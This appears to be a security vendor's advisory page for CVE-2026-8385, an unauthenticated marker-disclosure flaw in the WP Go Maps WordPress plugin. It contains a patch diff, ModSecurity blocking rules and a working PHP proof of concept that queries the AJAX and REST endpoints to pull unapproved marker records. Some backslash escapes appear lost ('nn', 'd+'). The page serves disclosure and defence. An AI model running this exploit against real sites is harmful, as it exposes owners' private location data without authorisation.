Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 13, 2026

CVE-2026-8385: WP Go Maps < 10.0.10 Unauthenticated Sensitive Information Disclosure via Datatables AJAX Fallback PoC, Patch Analysis & Rule

CVE ID CVE-2026-8385
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 10.0.09
Patched Version 10.0.10
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8385:

This vulnerability allows unauthenticated attackers to extract sensitive marker data from WP Go Maps versions prior to 10.0.10. The plugin exposes marker records that site owners have not approved for public display. The vulnerability affects the datatables AJAX fallback route and the REST API single marker endpoint.

Root cause: The marker-datatable.php file at line 30-37 in class.marker-datatable.php had an insufficient access control check. The original code checked `if(!(is_admin() || …))` which meant that only requests from wp-admin were considered for the unapproved filter bypass. However, the datatables AJAX fallback could be triggered from the frontend, and the `is_admin()` check fails for AJAX requests because WordPress does not set the is_admin flag during AJAX handling. The REST API in class.rest-api.php at line 838-849 had no approval check at all for single marker retrieval. An attacker could request any marker by ID and get its full details regardless of approval status.

Exploitation: An attacker can exploit this by sending a crafted POST request to `/wp-admin/admin-ajax.php` with `action=wpgmza_datatables_ajax` and parameters that trigger the marker datatable query without the approved filter. Alternatively, a GET request to `/wp-json/wpgmza/v1/markers/{id}` with any marker ID retrieves the full marker record including title, category, address, and description. The attacker does not need authentication because neither endpoint performs a proper capability check.

Patch analysis: The patch in class.marker-datatable.php removes the `is_admin()` check, so the condition now only checks for the admin referrer and user edit capability. This ensures that unauthenticated frontend requests always have the `AND approved=1` filter applied. In class.rest-api.php, a new check was added to return a 404 error if the marker is not approved and the user cannot edit. This prevents unauthenticated users from retrieving unapproved markers via the REST API.

Impact: An unauthenticated attacker can enumerate all markers in the database, including those marked as unapproved. This exposes potentially sensitive business information such as unpublished locations, hidden store branches, private event venues, or internal addresses that the site owner intended to keep private until manual approval. The CVSS score of 5.3 reflects the confidentiality impact but low complexity and no authentication requirement.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-google-maps/html/settings-page.html.php
+++ b/wp-google-maps/html/settings-page.html.php
@@ -1787,6 +1787,7 @@
 				_e('WP Go Maps GDPR options have been disabled as they are fully controlled by Complianz', 'wp-google-maps');
 			?>
 		</span>
+		<span class="wpgmza-wpml-notice wpgmza-hidden"></span>
 	</div>


--- a/wp-google-maps/includes/class.installer-page.php
+++ b/wp-google-maps/includes/class.installer-page.php
@@ -227,8 +227,7 @@
 	 * @return string
 	 */
 	public static function generateTempApiKey(){
-		$siteUrl = site_url();
-		$siteHash = md5($siteUrl);
+		$siteHash = Plugin::getSiteHash();
 		$response = wp_remote_get("https://wpgmaps.us-3.evennode.com/api/v1/google/generate/temporary?d={$siteUrl}&h={$siteHash}");
 		if(is_array($response) && !is_wp_error($response)){
 			try {
--- a/wp-google-maps/includes/class.plugin.php
+++ b/wp-google-maps/includes/class.plugin.php
@@ -438,7 +438,7 @@
 		/* Developer Hook (Filter) - Add or alter localization variables */
 		$result = apply_filters('wpgmza_plugin_get_localized_data', array(
 			'adminurl'				=> admin_url(),
-			'siteHash'				=> md5(site_url()),
+			'siteHash'				=> Plugin::getSiteHash(),
 			'ajaxurl' 				=> admin_url('admin-ajax.php'),
 			'pluginDirURL'			=> plugin_dir_url(WPGMZA_FILE),

@@ -1118,6 +1118,15 @@
 		return $excludeList;
 	}

+	public static function getSiteHash(){
+		$hash = get_option('wpgmza_site_hash');
+		if(empty($hash)){
+			$hash = md5( uniqid( '', true ) . site_url() . microtime( true ) );
+			update_option('wpgmza_site_hash', $hash, false);
+		}
+		return $hash;
+	}
+
 	public static function get_rss_feed_as_html($feed_url, $max_item_cnt = 10, $show_date = true, $show_description = true, $max_words = 0, $cache_timeout = 7200, $cache_prefix = "/tmp/rss2html-") {
 	    $result = "";
 	    // get feeds and parse items
--- a/wp-google-maps/includes/class.rest-api.php
+++ b/wp-google-maps/includes/class.rest-api.php
@@ -838,6 +838,12 @@
 				if(preg_match('#/wpgmza/v1/markers/(d+)#', $route, $m)) {
 					try{
 						$marker = Marker::createInstance($m[1], Crud::SINGLE_READ, isset($_GET['raw_data']));
+
+						if(empty($marker->approved) && !$wpgmza->isUserAllowedToEdit()){
+							/* Marker is not approved */
+							return new WP_Error('wpgmza_marker_not_found', 'Marker does not exist', array('status' => 404));
+						}
+
 						return $marker;
 					} catch (Exception $ex){
 						return new WP_Error('wpgmza_marker_not_found', 'Marker does not exist', array('status' => 404));
--- a/wp-google-maps/includes/class.settings-page.php
+++ b/wp-google-maps/includes/class.settings-page.php
@@ -35,7 +35,9 @@

 		if(class_exists("WPML_Translation_Management")){
 			$this->form->querySelector('.wpgmza-wpml-notice')->removeClass('wpgmza-hidden');
-			$this->form->querySelector('select[name="locale_override"]')->setAttribute('disabled', 'disabled');
+			if($localOverrideSelect = $this->form->querySelector('select[name="locale_override"]')){
+				$localOverrideSelect->setAttribute('disabled', 'disabled');
+			}
 		}

 		/* Tile Server Select */
--- a/wp-google-maps/includes/compat/class.pro-10-compatibility.php
+++ b/wp-google-maps/includes/compat/class.pro-10-compatibility.php
@@ -237,7 +237,7 @@
      */
     public function addDrawingLibraryForLegacyPro($params){
         global $wpgmza;
-        if($this->isIncompatible() && $wpgmza->getCurrentPage() == Plugin::PAGE_MAP_EDIT){
+        if($this->requiresLegacyDataTables() && $wpgmza->getCurrentPage() == Plugin::PAGE_MAP_EDIT){
             $libraries = !empty($params['libraries']) ? explode(',', $params['libraries']) : array();
             if(!in_array('drawing', $libraries)){
                 $libraries[] = 'drawing';
@@ -253,7 +253,7 @@
      * Hooks: wpgmza-get-library-dependencies
      */
     public function swapDataTablesForLegacy($libraries){
-        if($this->isIncompatible()){
+        if($this->requiresLegacyDataTables()){
             $libraries['datatables'] = 'https://cdn.datatables.net/1.12.1/js/jquery.dataTables.min.js';
         }
         return $libraries;
@@ -265,7 +265,7 @@
      * Hooks: wp_enqueue_scripts, admin_enqueue_scripts, enqueue_block_assets (priority 999)
      */
     public function swapDataTablesAssetsForLegacy(){
-        if(!$this->isIncompatible()){
+        if(!$this->requiresLegacyDataTables()){
             return;
         }

@@ -280,7 +280,17 @@
         global $wpgmza_pro_version;
         if(!empty($wpgmza_pro_version)) {
 		    if(version_compare($wpgmza_pro_version, '10.0.0', '<')){
-                return true;
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private function requiresLegacyDataTables(){
+        global $wpgmza_pro_version;
+        if(!empty($wpgmza_pro_version)){
+            if(version_compare($wpgmza_pro_version, '10.0.06', '<')){
+                return true;
             }
         }
         return false;
--- a/wp-google-maps/includes/tables/class.marker-datatable.php
+++ b/wp-google-maps/includes/tables/class.marker-datatable.php
@@ -30,7 +30,7 @@

 		$clause = AjaxTable::getWhereClause($input_params, $query_params, $clause_for_total);

-		if(!(is_admin() || (isset($_SERVER['HTTP_REFERER']) && preg_match('/page=wp-google-maps-menu/', $_SERVER['HTTP_REFERER']) && $wpgmza->isUserAllowedToEdit())))
+		if(!((isset($_SERVER['HTTP_REFERER']) && preg_match('/page=wp-google-maps-menu/', $_SERVER['HTTP_REFERER']) && $wpgmza->isUserAllowedToEdit())))
 		{
 			$clause .= ' AND approved=%d';
 			$query_params[] = 1;
--- a/wp-google-maps/wpGoogleMaps.php
+++ b/wp-google-maps/wpGoogleMaps.php
@@ -3,7 +3,7 @@
 Plugin Name: WP Go Maps (formerly WP Google Maps)
 Plugin URI: https://www.wpgmaps.com
 Description: The easiest to use Google Maps plugin! Create custom Google Maps or a map block with high quality markers containing locations, descriptions, images and links. Add your customized map to your WordPress posts and/or pages quickly and easily with the supplied shortcode. No fuss.
-Version: 10.0.09
+Version: 10.0.10
 Author: WP Go Maps (formerly WP Google Maps)
 Author URI: https://www.wpgmaps.com
 Text Domain: wp-google-maps
@@ -12,6 +12,13 @@


 /*
+ * 10.0.10 - 2026-05-13
+ * Fixed issue where Datatables AJAX fallback would bypass the approval filter. Security issue, thanks to WPScan, Jetpack, Automattic (Erwan)
+ * Fixed issue where single marker endpoint and AJAX fallback would bypass the approval filter. Security issue, thanks to WPScan, Jetpack, Automattic (Erwan)
+ * Fixed issue where Pro users below V10.0.06 would experience issues with admin marker tables, which do not have access to V2 library methods
+ * Fixed issue where Pro users below V10.0.06 would experience issues Google Drawing Manager, which is being deprecated in favor of an internal module
+ * Fixed issue where WPML users would experience failure in the settings area when running legacy UI
+ *
  * 10.0.09 - 2026-04-16
  * Fixed issue where minified code base was not accurately compiled due to issue with internal build tools. Only affected pro users
  *

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8385
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-8385 WP Go Maps Unauthenticated Marker Disclosure AJAX',severity:'CRITICAL',tag:'CVE-2026-8385'"
  SecRule ARGS_POST:action "@streq wpgmza_datatables_ajax" 
    "chain"
    SecRule ARGS_POST:table "@streq marker" 
      "t:none"

SecRule REQUEST_URI "@rx ^/wp-json/wpgmza/v1/markers/d+$" 
  "id:20261995,phase:2,deny,status:403,msg:'CVE-2026-8385 WP Go Maps Unauthenticated Marker Disclosure REST API',severity:'CRITICAL',tag:'CVE-2026-8385'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8385 - WP Go Maps < 10.0.10 - Unauthenticated Sensitive Information Disclosure via Datatables AJAX Fallback

$target_url = 'http://example.com'; // Change this to the target WordPress URL

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$rest_url = $target_url . '/wp-json/wpgmza/v1/markers/';

echo "[*] CVE-2026-8385 PoC - Unauthenticated Marker Data Extractionnn";

// Method 1: AJAX datatables fallback exploit
$payload = array(
    'action' => 'wpgmza_datatables_ajax',
    'table' => 'marker',
    'length' => 100,
    'start' => 0,
    'draw' => 1
);

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
curl_close($ch);

echo "[+] AJAX Datatables Response:n";
$data = json_decode($response, true);
if (isset($data['data'])) {
    foreach ($data['data'] as $marker) {
        echo "  ID: " . $marker['id'] . "n";
        echo "  Title: " . $marker['title'] . "n";
        echo "  Address: " . $marker['address'] . "n";
        echo "  Description: " . substr($marker['description'], 0, 100) . "...n";
        echo "  Approved: " . ($marker['approved'] ? 'Yes' : 'No') . "nn";
    }
} else {
    echo "  No data returned or unexpected format.n";
}

// Method 2: REST API single marker endpoint
$marker_id = 1; // Test with ID 1, adjust if needed
$ch = curl_init($rest_url . $marker_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] REST API Single Marker (ID $marker_id) Response:n";
$data = json_decode($response, true);
if (isset($data['id'])) {
    echo "  ID: " . $data['id'] . "n";
    echo "  Title: " . $data['title'] . "n";
    echo "  Address: " . $data['address'] . "n";
    echo "  Description: " . substr($data['description'], 0, 100) . "...n";
    echo "  Approved: " . ($data['approved'] ? 'Yes' : 'No') . "n";
} else {
    echo "  No marker returned (may not exist or requires authentication).n";
}

echo "n[*] PoC complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School